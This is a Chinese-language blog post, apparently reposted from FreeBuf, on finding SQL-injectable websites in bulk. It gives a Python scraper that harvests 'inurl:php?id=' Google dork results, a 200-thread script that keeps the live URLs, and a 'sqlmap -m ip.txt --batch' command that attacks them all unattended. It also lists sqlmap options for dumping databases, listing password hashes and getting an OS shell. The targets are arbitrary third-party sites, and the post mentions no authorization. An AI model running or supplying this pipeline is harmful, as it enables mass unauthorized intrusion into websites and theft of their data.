Code前端首页关于Code前端联系我们

使用GoogleHack进行SQL注入点扫描查询

terry 2年前 (2023-09-28) 阅读数 80 #Web安全

0×01:介绍

使用GoogleHack进行SQL注入点查询时,手动的方法一般是通过Google语法的inurl判断是否有动态查询参数,然后手动判断查询网站URL是否存在SQL注入漏洞,如or 1=1、or 1=2、添加单引号等。

在实际执行过程中,可以利用爬虫技术来查找Google搜索某些语句可能存在漏洞的URL。并将URL通过IO写入文件,方便后续的扫描工作。

这时候有观众可能会问,这个功能已经集成到SQLMAP的Google模块中了,直接使用sqlmap -g search语句就可以进行批量扫描了。然而,在笔者的实际测试中,我发现SQLMAP可以正确解释诸如:https://www.google.com.hk/search?q=inurl:php?id=这样的英文字母的搜索语句。通过测试,我发现Tested Statement与Google环境中实际搜索到的URL是一致的。但如果我们有特殊需求,比如搜索特定区域的URL,或者搜索网站内容包含中文字符的URL,比如:

https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强

,SQLMAP会自动过滤intext语句中的中文,并返回未过滤的结果。

真实测试中,英文字母文本不受影响。

基于此,我们可以使用Python爬虫检索Google搜索URL生成TXT文件,然后使用SQLMAP(或其他SQL扫描工具)进行二次扫描。 ?

r=requests.get('https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强&lr=lang_zh-CN&num=5000',headers=headers,)

lr标签设置只能产生中文结果。

然后使用xpath找到所需结果的DOM地址

e=etree.HTML(r.text)
# print(e.xpath('//div/node()'))
name=e.xpath('//h3[@class="LC20lb"]/node()')
url=e.xpath('//cite[@class="iUh30"]/node()')
# print(name)
# print(url)
filename='ip.txt'
with open(filename,'w',encoding='utf-8') as f:
    for i in url:
        f.write(i+'\n')
# print(name)
# print(url)

类名可以根据实际结果更改。

最后将结果写入txt文件。 ?过滤,使用Python对地址进行批量请求,过滤没有响应或响应很慢的网页。

具体代码实现如下

import socket
import asyncio
import sys
import queue
import threading
import requests
iplist=[]
class socket1():
    def __init__(self,i):
        self.i=i
        # print(target)
    def scan(self,ip,i):
        # print("start scan")
        # print(s.connect_ex((self.target,80)))
        # for i in range(1,100):
            # print(i)
        s=requests.get(ip,timeout=6)
        if s.status_code==200:
            # print(ip,'open')
            iplist.append(ip)
    def worker(self,q):
        while not q.empty():
            ip=str(q.get())
            if ('http' or 'https') in ip:
                ip=ip
            else:
                ip='http://'+ip
            print(ip)
            try:
                self.scan(ip,self.i)
            finally:
                q.task_done()
    # def main(self):
    #     print("start to detect ",self.target)
    #     loop=asyncio.get_event_loop()
    #     tasks=[asyncio.ensure_future(self.scan(port)) for port in range(1,65536)]
    #     loop.run_until_complete(asyncio.wait(tasks))
if __name__ == '__main__':
    print("Start testing the target port")
    # print("Example:['127.0.0.1','127.0.0.2'] 80")
    filename='ipsuccess.txt'
    q=queue.Queue()
    a=socket1(80)
    with open(filename,'rb') as f:
        for line in f.readlines():
            # print(line.decode()[:-2])
            q.put(line.decode()[:-2])
    # iplist=[]
    # for i in range(65535):
    #     print(q.get())
    threads=[threading.Thread(target=a.worker,args=(q,)) for i in range(200)]
    list(map(lambda x:x.start(),threads))
    q.join()
    print("scan over")
    print(iplist)
    with open('ipsuccess.txt','w',encoding='utf-8') as f:
        for i in iplist:
            f.write(i+'\n')

请求连接的最大响应时间设置为6秒。如果6s后仍然没有响应,则认为该网站已死亡。

0×04:使用注入工具进行批量检测

这一步我们可以使用SQL注入工具进行批量检测。有很多工具可以进行批量检测。这里我们以SQLMap为例。

我们知道使用SQLMap的命令是:

 目标:至少要选中一个参数
    -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       将谷歌dork的结果作为目标url
  请求:
    这些选项可用于指定如何连接到目标URL
    --data=DATA         数据字符串通过POST发送
    --cookie=COOKIE     HTTP Cookie的值
    --random-agent      随机选择 HTTP User-Agent 头的值
    --proxy=PROXY       使用代理去连接目标URL
    --tor               使用匿名网络
    --check-tor         检查Tor是否正确使用
  注入:
    这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
    -p TESTPARAMETER    可测试的参数
    --dbms=DBMS         将后端DBMS强制到此值
  检测:
    这些选项可用于定制检测阶段
    --level=LEVEL       执行的测试级别(1-5, 默认 1)
    --risk=RISK         执行测试的风险 (1-3, 默认 1)
  技术:
    这些选项可用于调整特定SQL注入的测试的技术
    --technique=TECH    SQL注入技术选择 (默认 "BEUSTQ")
  枚举:
    T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
    -a, --all           检索全部
    -b, --banner        检索 banner
    --current-user      检索当前用户
    --current-db        检索当前数据库
    --passwords         列出用户密码的hash值
    --tables            列出表
    --columns           列出字段
    --schema            列出DBMS schema
    --dump              Dump DBMS数据库表的条目
    --dump-all          Dump 所有DBMS数据库表的条目
    -D DB               指定数据库
    -T TBL              指定表
    -C COL              指定字段
  操作系统访问:
    这些选项可用于访问后端数据库管理系统底层操作系统
    --os-shell          提示为交互式操作系统shell
    --os-pwn            提示为OOB外壳,Meterpreter或VNC
  通用:
    这些选项可用于设置一些通用的工作参数
    --batch             永远不要要求用户输入,使用默认行为
    --flush-session     刷新当前目标的会话文件
  杂项:
    --sqlmap-shell      提示输入交互式sqlmap shell
    --wizard            初学者的简单向导界面

-m命令可以读取txt文件中的IP,使用--batch可以使用默认设置自动创建SQLMap。然而,这里有一个问题。重试IP后如果SQLMap无法连接到该地址一定次数,它将根据默认行为退出。这肯定会给我们的自动化带来问题。

这说明了我们确认 URL 可行性的步骤的重要性。首先使用脚本进行扫描很重要,这样自动扫描过程就不会中断。

最后使用SQLMAP中的-m命令读取txt文件进行扫描,使用--batch进行自动扫描,无需监督。

python sqlmap.py -m ip.txt --batch

*本文原作者:SkyAnakin,本文属于FreeBuf原创奖励计划

版权声明

本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。

热门